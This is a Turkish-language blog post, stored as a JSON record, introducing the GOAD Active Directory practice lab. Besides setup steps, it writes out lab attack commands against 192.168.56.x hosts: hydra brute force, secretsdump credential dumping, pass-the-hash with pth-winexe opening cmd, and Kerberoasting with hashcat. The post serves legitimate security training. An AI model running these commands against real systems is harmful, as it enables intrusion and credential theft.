{"id":148,"title":"Game of Active Directory","content":"<h1>Active Directory G\u00fcvenli\u011fi ve GOAD: Siber G\u00fcvenlikte Pratik Bir Laboratuvar<\/h1> Active Directory (AD), kurumsal a\u011flar\u0131n bel kemi\u011fidir. Kimlik do\u011frulama, yetkilendirme ve kaynak y\u00f6netimi gibi kritik i\u015flevleri \u00fcstlenen AD, siber sald\u0131rganlar\u0131n da ba\u015fl\u0131ca hedefi haline gelmi\u015ftir. Peki, g\u00fcvenlik uzmanlar\u0131 bu karma\u015f\u0131k sistemlere y\u00f6nelik sald\u0131r\u0131lar\u0131 nas\u0131l \u00f6\u011frenebilir ve savunma stratejilerini nas\u0131l geli\u015ftirebilir? \u0130\u015fte tam da bu noktada\u00a0<strong>GOAD (Game of Active Directory)<\/strong>, Orange Cyberdefense taraf\u0131ndan geli\u015ftirilen a\u00e7\u0131k kaynakl\u0131 bir laboratuvar projesi, devreye giriyor. <hr \/> <h2>GOAD Nedir?<\/h2> GOAD, siber g\u00fcvenlik uzmanlar\u0131na ve s\u0131zma testi merakl\u0131lar\u0131na ger\u00e7ek\u00e7i bir Active Directory ortam\u0131 sunan, kullan\u0131ma haz\u0131r bir sanal laboratuvard\u0131r. Bu projenin temel amac\u0131, kullan\u0131c\u0131lar\u0131n yayg\u0131n AD sald\u0131r\u0131 tekniklerini risksiz bir ortamda deneyimleyerek becerilerini geli\u015ftirmesini sa\u011flamakt\u0131r. <h3>GOAD'\u0131n Temel \u00d6zellikleri<\/h3> <ul> <li><strong>Kullan\u0131ma Haz\u0131r Sanal Ortam:<\/strong>\u00a0VMware, VirtualBox ve Vagrant deste\u011fiyle \u00e7al\u0131\u015fan GOAD, \u00f6nceden yap\u0131land\u0131r\u0131lm\u0131\u015f sanal makineler (DC\u2019ler, i\u015f istasyonlar\u0131) i\u00e7erir.<\/li> <li><strong>Ger\u00e7ek\u00e7i Senaryolar:<\/strong>\u00a0Ortamda kas\u0131tl\u0131 olarak b\u0131rak\u0131lan zafiyetler, a\u015fa\u011f\u0131daki gibi sald\u0131r\u0131lar\u0131n sim\u00fcle edilmesine olanak tan\u0131r: <ul> <li>Kimlik Av\u0131 (Phishing) ve kimlik bilgisi h\u0131rs\u0131zl\u0131\u011f\u0131,<\/li> <li>Yatay\/Dikey Hareket teknikleri,<\/li> <li>Golden Ticket ve Silver Ticket sald\u0131r\u0131lar\u0131,<\/li> <li>ACL (Eri\u015fim Kontrol Listesi) istismarlar\u0131.<\/li> <\/ul> <\/li> <li><strong>\u00dccretsiz ve Eri\u015filebilir:<\/strong>\u00a0A\u00e7\u0131k kaynakl\u0131 olmas\u0131, herkesin katk\u0131da bulunmas\u0131na ve \u00f6\u011frenmesine olanak tan\u0131r.<\/li> <\/ul> <hr \/> <h2>GOAD ile Neler \u00d6\u011frenebilirsiniz?<\/h2> <ul> <li><strong>Active Directory Temelleri:<\/strong>\u00a0Domain Controller, Grup Politikalar\u0131 (GPO), OU yap\u0131lar\u0131 gibi AD bile\u015fenlerini ke\u015ffedin.<\/li> <li><strong>Sald\u0131r\u0131 Y\u00fczeyi Analizi:<\/strong>\u00a0Zay\u0131f \u015fifre politikalar\u0131, fazla yetkilendirilmi\u015f kullan\u0131c\u0131 hesaplar\u0131 gibi riskleri tan\u0131mlay\u0131n.<\/li> <li><strong>S\u0131zma Testi Ara\u00e7lar\u0131:<\/strong>\u00a0Mimikatz, BloodHound, Impacket gibi ara\u00e7lar\u0131 laboratuvarda g\u00fcvenle kullan\u0131n.<\/li> <li><strong>Savunma Stratejileri:<\/strong>\u00a0Sald\u0131r\u0131lar\u0131 tespit etme ve engelleme y\u00f6ntemlerini test edin.<\/li> <\/ul> <hr \/> <h2>GOAD Kurulumu: 3 Ad\u0131mda Laboratuvar\u0131n\u0131z\u0131 Aya\u011fa Kald\u0131r\u0131n<\/h2> <h3>1. \u00d6n Ko\u015fullar<\/h3> <ul> <li>VMware, VirtualBox ve Vagrant kurulu olmal\u0131.<\/li> <li>8 GB+ RAM ve yeterli depolama alan\u0131na sahip bir makine.<\/li> <\/ul> <h3>2. Kodlar\u0131 \u0130ndirin<\/h3> <div > <div > <div > <div >bash<\/div> <div>git clone https:\/\/github.com\/Orange-Cyberdefense\/GOAD.git<\/div> <div>cd GOAD<\/div> <\/div> <\/div> <\/div> <h3>3. Sanal Makineleri Ba\u015flat\u0131n<\/h3> <div > <div > <div > <div >bash<\/div> <div > <div ><span style=\"font-family: Consolas, Monaco, monospace;\">vagrant up<\/span><\/div> <\/div> <\/div> <\/div> <\/div> Ansible playbook\u2019lar\u0131 otomatik olarak domain controller\u2019lar\u0131, Windows\/Linux makinelerini yap\u0131land\u0131racakt\u0131r. <hr \/> <h2>GOAD ile \u00d6rnek S\u0131zma Testi Senaryolar\u0131<\/h2> <h3>1. \u0130lk Eri\u015fim: Zay\u0131f \u015eifreli Kullan\u0131c\u0131 Hesab\u0131n\u0131n Ele Ge\u00e7irilmesi<\/h3> <strong>Ama\u00e7:<\/strong>\u00a0Bir kullan\u0131c\u0131 hesab\u0131n\u0131n zay\u0131f \u015fifresini k\u0131rarak ba\u015flang\u0131\u00e7 eri\u015fimi sa\u011flamak. <strong>Ara\u00e7lar:<\/strong>\u00a0<code>nmap<\/code>,\u00a0<code>hydra<\/code>,\u00a0<code>crackmapexec<\/code> <strong>Ad\u0131mlar:<\/strong> <ol start=\"1\"> <li>A\u011fdaki SMB portlar\u0131n\u0131 (445) taray\u0131n: <div > <div > <div > <div >bash<\/div> <\/div> <\/div> <pre>nmap <span >-p<\/span> <span >445<\/span> <span >192.168<\/span>.56.0\/24<\/pre> <\/div><\/li> <li>Hydra ile brute-force sald\u0131r\u0131s\u0131 yap\u0131n (\u00f6rnek kullan\u0131c\u0131:\u00a0<code>user1<\/code>): <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>hydra <span >-l<\/span> user1 <span >-P<\/span> \/usr\/share\/wordlists\/rockyou.txt smb:\/\/192.168.56.10<\/pre> <\/div><\/li> <li>Ba\u015far\u0131l\u0131 kimlik bilgileriyle oturum a\u00e7\u0131n: <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>crackmapexec smb <span >192.168<\/span>.56.10 <span >-u<\/span> user1 <span >-p<\/span> <span >'Password123!'<\/span><\/pre> <\/div><\/li> <\/ol> <hr \/> <h3>2. Lateral Movement: Pass-the-Hash ile Yatay Hareket<\/h3> <strong>Ama\u00e7:<\/strong>\u00a0Ele ge\u00e7irilen NTLM hash\u2019i kullanarak ba\u015fka bir makineye s\u0131\u00e7ramak. <strong>Ara\u00e7lar:<\/strong>\u00a0<code>pth-winexe<\/code>,\u00a0<code>secretsdump.py<\/code>\u00a0(Impacket) <strong>Ad\u0131mlar:<\/strong> <ol start=\"1\"> <li>Hash\u2019i \u00e7\u0131kar\u0131n (\u00f6rnek hedef:\u00a0<code>WS01<\/code>): <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>secretsdump.py <span >'user1:Password123!@192.168.56.10'<\/span><\/pre> <\/div><\/li> <li>Elde edilen Administrator hash\u2019i ile hedef makinede komut \u00e7al\u0131\u015ft\u0131r\u0131n: <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>pth-winexe <span >-U<\/span> Administrator%aad3b435b51404eeaad3b435b51404ee:CCF3C6466D32D3B2A0413333F5C65809 \/\/192.168.56.20 cmd<\/pre> <\/div><\/li> <\/ol> <hr \/> <h3>3. Privilege Escalation: Kerberoasting ile Yetki Y\u00fckseltme<\/h3> <strong>Ama\u00e7:<\/strong>\u00a0Service Principal Name (SPN) kay\u0131tl\u0131 bir hesab\u0131n TGS biletini \u00e7al\u0131p \u015fifresini k\u0131rmak. <strong>Ara\u00e7lar:<\/strong>\u00a0<code>GetUserSPNs.py<\/code>\u00a0(Impacket),\u00a0<code>hashcat<\/code> <strong>Ad\u0131mlar:<\/strong> <ol start=\"1\"> <li>SPN kay\u0131tl\u0131 hesaplar\u0131 listeleyin: <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>GetUserSPNs.py -dc-ip <span >192.168<\/span>.56.10 LAB.LOCAL\/user1:Password123<span >!<\/span> <span >-request<\/span><\/pre> <\/div><\/li> <li>\u00c7al\u0131nan hash\u2019i\u00a0<code>hashcat<\/code>\u00a0ile k\u0131r\u0131n: <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>hashcat <span >-m<\/span> <span >13100<\/span> hash.txt \/usr\/share\/wordlists\/rockyou.txt<\/pre> <\/div><\/li> <\/ol> <hr \/> <h2>Neden GOAD Tercih Edilmeli?<\/h2> <ul> <li><strong>Zaman Tasarrufu:<\/strong>\u00a0Laboratuvar kurulumu saatler s\u00fcren bir i\u015flemken, GOAD ile bu s\u00fcre 10-15 dakikaya iner.<\/li> <li><strong>Ger\u00e7ek\u00e7i Senaryolar:<\/strong>\u00a0Ger\u00e7ek d\u00fcnyadaki sald\u0131r\u0131 tekniklerini birebir sim\u00fcle eder.<\/li> <li><strong>\u00dccretsiz ve Eri\u015filebilir:<\/strong>\u00a0A\u00e7\u0131k kaynakl\u0131 olmas\u0131, herkesin katk\u0131da bulunmas\u0131na ve \u00f6\u011frenmesine olanak tan\u0131r.<\/li> <\/ul> <hr \/> GOAD, siber g\u00fcvenlik uzmanlar\u0131 i\u00e7in bir \"oyun alan\u0131\" sunarak teorik bilgiyi prati\u011fe d\u00f6kme f\u0131rsat\u0131 veriyor. Sald\u0131r\u0131 tekniklerini \u00f6\u011frenmek, savunma stratejilerini test etmek veya sertifikasyon s\u0131navlar\u0131na haz\u0131rlanmak isteyenler i\u00e7in vazge\u00e7ilmez bir kaynak. Projeyi incelemek, katk\u0131da bulunmak veya deneyimlerinizi payla\u015fmak i\u00e7in\u00a0<a href=\"https:\/\/github.com\/Orange-Cyberdefense\/GOAD\" target=\"_blank\" rel=\"noopener noreferrer\">GOAD GitHub Repo<\/a>\u2019yu ziyaret edebilirsiniz. <strong>Unutmay\u0131n:<\/strong>\u00a0\u201cEn iyi savunma, iyi bir sald\u0131r\u0131y\u0131 anlamakt\u0131r!\u201d <hr \/> #Siber G\u00fcvenlik #ActiveDirectory #S\u0131zmaTesti #GOAD #OrangeCyberdefense <!-- \/wp:paragraph -->","excerpt":"Active Directory (AD), kurumsal a\u011flar\u0131n bel kemi\u011fidir. Kimlik do\u011frulama, yetkilendirme ve kaynak y\u00f6netimi gibi kritik i\u015flevleri \u00fcstlenen AD, siber sald\u0131rganlar\u0131n da ba\u015fl\u0131ca hedefi haline gelmi\u015ftir. Peki, g\u00fcvenlik uzmanlar\u0131 bu karma\u015f\u0131k sistemlere y\u00f6nelik sald\u0131r\u0131lar\u0131 nas\u0131l \u00f6\u011frenebilir ve savunma stratejilerini nas\u0131l geli\u015ftirebilir? \u0130\u015fte tam da bu noktada **GOAD (Game of Active Directory)**, Orange Cyberdefense taraf\u0131ndan geli\u015ftirilen a\u00e7\u0131k kaynakl\u0131 bir laboratuvar projesi, devreye giriyor.","created_at":"2025-02-27 13:39:03","updated_at":"2026-09-07 21:38:09","category_id":7,"view_count":845,"reading_time":4,"status":"published","editor_choice":0,"is_editor_choice":0,"published_at":"2025-02-27 13:39:03","featured_image":"resimyok.jpg","slug":"game-of-active-directory","category_name":"Cyber Security","category_slug":"cyber-security"}